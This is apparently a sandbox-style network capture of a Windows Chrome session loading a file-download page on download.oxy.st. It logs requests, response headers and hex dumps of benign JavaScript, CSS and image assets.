2024-06-15 09:15:00 UTC	690	OUT	GET /js/jquery.cookie.min.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:01 UTC	385	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:15:01 GMT Content-Type: application/javascript Content-Length: 2312 Last-Modified: Tue, 20 Jun 2023 20:47:54 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "6492107a-908" Age: 1 DDG-Cache-Status: MISS
2024-06-15 09:15:01 UTC	2312	IN	Data Raw: 2f 2a 21 20 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 20 76 31 2e 34 2e 31 20 7c 20 4d 49 54 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 61 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 61 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 61 29 7b 72 65 74 75 72 6e 20 68 2e 72 61 77 3f 61 3a 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 61 29 7b 72 65 74 75 72 6e 20 68 2e 72 61 77 3f 61 3a Data Ascii: /! jquery.cookie v1.4.1 \| MIT /!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49812	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	743	OUT	GET /img/oxy-logo.svg HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:01 UTC	381	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Tue, 11 Jun 2024 23:38:48 GMT Content-Type: image/svg+xml Content-Length: 8217 Last-Modified: Wed, 17 Feb 2021 01:25:02 GMT Vary: Accept-Encoding ETag: "602c706e-2019" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 293774 DDG-Cache-Status: HIT
2024-06-15 09:15:01 UTC	8217	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 37 36 22 20 68 65 69 67 68 74 3d 22 32 38 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 37 36 20 32 38 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 39 36 2e 35 20 32 34 33 43 31 32 30 2e 32 30 34 20 32 35 35 2e 36 36 34 20 31 34 32 2e 30 39 35 20 32 35 38 2e 32 38 33 20 31 36 38 2e 32 39 38 20 32 35 32 2e 33 31 31 43 31 39 34 2e 35 30 32 20 32 34 36 2e 33 33 39 20 32 31 37 2e 36 37 20 32 33 31 2e 31 31 32 20 32 33 33 2e 35 34 36 20 32 30 39 2e 34 32 38 Data Ascii: <svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49813	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	768	OUT	GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/slake/style.css?ver=6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:01 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Wed, 12 Jun 2024 15:03:27 GMT Content-Type: image/jpeg Content-Length: 31870 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7c7e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 238295 DDG-Cache-Status: HIT
2024-06-15 09:15:01 UTC	16028	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-06-15 09:15:01 UTC	15842	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 4c 72 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 e6 18 3f 31 b3 cf 8e 23 5b 79 26 f4 ed f3 d3 df ac 47 c5 a6 9e 94 fc b6 4f 4b 3d 6d d1 ae 93 f0 96 b7 8e 2a cc 28 0e 91 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Lr?1#[y&GOK=m*(H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	49819	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	694	OUT	GET /css/cloud.css HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:02 UTC	373	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:15:02 GMT Content-Type: text/css Content-Length: 53284 Last-Modified: Sun, 21 Jun 2020 20:10:25 GMT Vary: Accept-Encoding ETag: "5eefbeb1-d024" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 1 DDG-Cache-Status: MISS
2024-06-15 09:15:02 UTC	16011	IN	Data Raw: 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6e 6f 2d 66 6c 65 78 62 6f 78 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 65 72 74 69 63 61 6c 3e 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 73 77 69 70 65 72 2d Data Ascii: .swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-ms-flex-direction:column;flex-direction:column}.swiper-
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 6e 6f 6e 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 73 6d 61 6c 6c 7b 77 69 64 74 68 3a 39 70 78 3b 68 65 69 67 68 74 3a 39 70 78 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 62 69 67 7b 77 69 64 74 68 3a 31 34 70 78 3b 68 65 69 67 68 74 3a 31 34 70 78 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 2c 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 63 61 72 6f 75 73 65 6c 20 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 Data Ascii: carousel__dot_type_none{display:none}.carousel__dot_type_small{width:9px;height:9px}.carousel__dot_type_big{width:14px;height:14px}.carousel__dot.swiper-pagination-bullet-active,.carousel__dot:hover{opacity:1}.carousel .swiper-wrapper{transition-timing-fu
2024-06-15 09:15:02 UTC	61	IN	Data Raw: 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 37 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 37 70 78 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 66 69 78 65 64 2d 63 6f 6e Data Ascii: padding-left:17px;padding-right:17px;margin:0 auto}.fixed-con
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 20 2e 66 69 78 65 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 0a 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 5f 5f 69 6d 61 67 65 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 20 2e 66 69 78 65 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 7d 0a 2e 6c 70 2d 63 6f 6c 75 6d 6e 5f 77 69 64 74 68 5f 31 32 7b 77 Data Ascii: tainer .fixed-container{padding-left:0;padding-right:0}.image-section{font-size:0;position:relative;text-align:center}.image-section__image{max-width:100%;border:0}@media (max-width:767px){.image-section .fixed-container{padding:0}}.lp-column_width_12{w
2024-06-15 09:15:02 UTC	4444	IN	Data Raw: 5f 5f 74 65 78 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 32 70 78 7d 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 62 61 73 65 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 62 6f 72 64 65 72 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 63 75 73 74 6f 6d 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 73 68 61 64 6f 77 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 36 37 70 78 3b 68 Data Ascii: __text{padding:0 12px}.lpc-button.y-button_theme_base.y-button_size_l,.lpc-button.y-button_theme_border.y-button_size_l,.lpc-button.y-button_theme_custom.y-button_size_l,.lpc-button.y-button_theme_shadow.y-button_size_l{font-size: 30px;line-height: 67px;h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	49818	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	701	OUT	GET /js/download2.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	388	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 17:46:42 GMT Content-Type: application/javascript Content-Length: 3611 Last-Modified: Fri, 26 Jun 2020 14:46:15 GMT Vary: Accept-Encoding ETag: "5ef60a37-e1b" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 55700 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	3611	IN	Data Raw: 2f 2f 64 6f 77 6e 6c 6f 61 64 2e 6a 73 20 76 33 2e 30 2c 20 62 79 20 64 61 6e 64 61 76 69 73 3b 20 32 30 30 38 2d 32 30 31 34 2e 20 5b 43 43 42 59 32 5d 20 73 65 65 20 68 74 74 70 3a 2f 2f 64 61 6e 6d 6c 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2e 68 74 6d 6c 20 66 6f 72 20 74 65 73 74 73 2f 75 73 61 67 65 0d 0a 2f 2f 20 76 31 20 6c 61 6e 64 65 64 20 61 20 46 46 2b 43 68 72 6f 6d 65 20 63 6f 6d 70 61 74 20 77 61 79 20 6f 66 20 64 6f 77 6e 6c 6f 61 64 69 6e 67 20 73 74 72 69 6e 67 73 20 74 6f 20 6c 6f 63 61 6c 20 75 6e 2d 6e 61 6d 65 64 20 66 69 6c 65 73 2c 20 75 70 67 72 61 64 65 64 20 74 6f 20 75 73 65 20 61 20 68 69 64 64 65 6e 20 66 72 61 6d 65 20 61 6e 64 20 6f 70 74 69 6f 6e 61 6c 20 6d 69 6d 65 0d 0a 2f 2f 20 76 32 20 61 64 64 65 64 20 6e 61 6d 65 64 Data Ascii: //download.js v3.0, by dandavis; 2008-2014. [CCBY2] see http://danml.com/download.html for tests/usage// v1 landed a FF+Chrome compat way of downloading strings to local un-named files, upgraded to use a hidden frame and optional mime// v2 added named

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	49816	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	773	OUT	GET /slake/asset/slice_white.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	354	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Wed, 12 Jun 2024 15:03:26 GMT Content-Type: image/png Content-Length: 6078 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-17be" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 238295 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	6078	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c9 00 00 00 2d 08 06 00 00 00 04 13 4f 91 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 17 22 49 44 41 54 78 da ed 9d 79 9c 14 d5 b5 c7 bf a7 7a 7a 16 66 9f 61 14 11 15 64 55 14 04 95 11 71 8d 1a 50 4c 24 2e 31 06 0d 5b 50 63 12 7d 1a a3 e4 25 71 c9 7b 79 09 2f 10 f2 f2 4c 34 26 12 d0 a8 89 49 54 34 0a 3c dc 41 45 05 05 02 12 45 10 65 80 81 19 66 63 f6 e9 a9 f3 fe b8 b7 9a 9e ea ea 9e 69 16 27 9f 30 bf cf a7 3f fd a9 7b 6f dd ba f7 54 9d 3a eb bd Data Ascii: PNGIHDR-OgAMAa cHRMz&u0`:pQ<bKGDCpHYs~"IDATxyzzfadUqPL$.1[Pc}%q{y/L4&IT4<AEEefci'0?{oT:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	49817	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	764	OUT	GET /images/sprite3.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Mon, 10 Jun 2024 18:30:46 GMT Content-Type: image/png Content-Length: 2059 Last-Modified: Sun, 27 Mar 2022 20:43:28 GMT ETag: "6240cc70-80b" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 398656 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	2059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 31 08 06 00 00 00 18 d8 cd 0c 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 07 b0 49 44 41 54 78 9c ed 9a 0b 6c 4f 57 1c c7 51 1d 33 94 90 2e 63 8b 79 5b 8d 04 d9 c6 86 6d 31 61 36 af 3d 34 ea b1 cc 66 b2 c8 2a 52 8f 10 db cc 36 6c f3 8e a0 89 19 35 6f 8d c6 ab 74 d6 52 89 90 d6 f4 a5 2d fd b7 da a6 6f ad 52 04 fd b7 bd fb 9c ba 7f 39 3d fe 7f fd d3 ff dd 3f 99 f3 4d 3e 39 f7 7f ce b9 f7 dc f3 fb de f3 b8 b7 6d d4 48 cb a3 ba 78 f1 e2 90 94 94 94 4d 90 09 77 e0 16 24 91 ff 33 bc aa d6 37 0c 63 24 6c 85 1c b8 03 15 10 0f df 42 37 6f f4 41 cb 0d 61 66 00 84 61 6e 29 18 2e c8 4d 4e 4e 5e 9e 95 95 e5 8f 99 fd 20 1c 6e 18 ae 65 33 Data Ascii: PNGIHDR\|1sRGB,pHYsIDATxlOWQ3.cy[m1a6=4f*R6l5otR-oR9=?M>9mHxMw$37c$lB7oAafan).MNN^ ne3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.16	49821	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	760	OUT	GET /images/ltd.svg HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	382	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 14:33:52 GMT Content-Type: image/svg+xml Content-Length: 50208 Last-Modified: Fri, 20 Nov 2020 00:55:29 GMT Vary: Accept-Encoding ETag: "5fb71401-c420" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 585669 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	16002	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 36 39 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 39 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 4c 37 2e 32 39 33 39 35 20 33 2e 30 34 36 38 38 48 38 2e 37 32 39 34 39 4c 35 2e 30 33 38 30 39 20 31 33 48 33 2e 38 37 35 39 38 4c 30 2e 31 39 31 34 30 36 20 33 2e 30 34 36 38 38 48 31 2e 36 32 30 31 32 4c 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 5a 4d 31 35 2e 36 39 35 33 20 38 2e 33 39 39 34 31 48 31 31 2e 33 38 31 38 56 31 31 2e 39 32 36 38 48 31 36 2e 33 39 32 36 56 31 33 48 31 30 2e 30 36 Data 